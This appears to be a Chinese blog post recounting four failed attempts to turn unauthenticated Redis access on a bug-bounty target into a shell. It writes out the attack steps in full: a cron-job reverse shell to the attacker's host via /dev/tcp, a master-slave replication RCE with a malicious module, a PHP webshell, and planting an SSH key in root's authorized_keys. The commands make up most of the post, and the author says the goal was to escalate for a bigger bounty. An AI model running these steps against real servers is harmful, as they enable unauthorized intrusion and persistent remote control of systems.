尝试从redis未授权访问到getshell的四种姿势(失败)

尝试从redis未授权访问到getshell的四种姿势(失败)

使用Goby扫描某SRC的C段,发现一个Redis未授权,经验证漏洞存在,故尝试Getshell提高危害(拿更多赏金)
虽然Getshell是失败了,但留个坑在这,以后看看失败的原因。

目录

  1. crontab-计划任务
  2. 利用主从复制RCE
  3. 通过Web服务写入webshell
  4. 写ssh-keygen公钥然后使用私钥登录

1. crontab-计划任务

首先现在自己服务器上监听个端口,例如我这里的8998
nc -lvvp 8998

然后redis上:

root@kali:~# redis-cli -h vulnIP
vulnIP:6379> set  xx   "\n* * * * * bash -i >& /dev/tcp/这里写你的服务器IP/8998 0>&1\n"
OK
vulnIP:6379> config set dir /var/spool/cron/
OK
vulnIP:6379> config set dbfilename root
OK
vulnIP:6379> save

然后稍等一会儿,就反弹到shell了,PS:需要等那么一会儿,才会反弹回来,不然也可以先打,然后在监听,因为毕竟计划任务需要一点时间。

真实情况

在这里插入图片描述
(error) MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because this instance is configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for details about the RDB error.
太难了

2.利用主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
git clone https://github.com/Ridter/redis-rce.git

python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

so文件是通过RedisModules make生成的。

真实情况

在这里插入图片描述

3. 写入webshell

CONFIG SET dir /path/www/html     # 修改备份目录  
CONGIG SET dbfilename trojan.php  # 修改备份文件名为我们的shell名
SET trojan "<?php system($_GET['cmd']);?>"
BGSAVE  
DEL payload  
CONFIG SET dir /usr/local/redis  
CONGIG SET dbfilename dump.rdb 
#最好使用CONFIG GET 看看原来啥样就回复成啥样

真实情况

目标机器无Web服务

4. 写ssh-keygen公钥然后使用私钥登录

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
利用条件:
a.Redis服务使用ROOT账号启动
b.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

操作流程:
Step 1:
cd /root/.ssh/
Step2 :
root@kali:~/.ssh# ssh-keygen -t rsa
在这里插入图片描述
Step 3:
然后在redis执行命令

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK

之后直接使用公钥登录即可
在这里插入图片描述
ssh -i 文件名 root@vulnIP

这里记得输入自己设置的密码
在这里插入图片描述

欢迎师傅们给出建议或指出错误,不胜感激。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值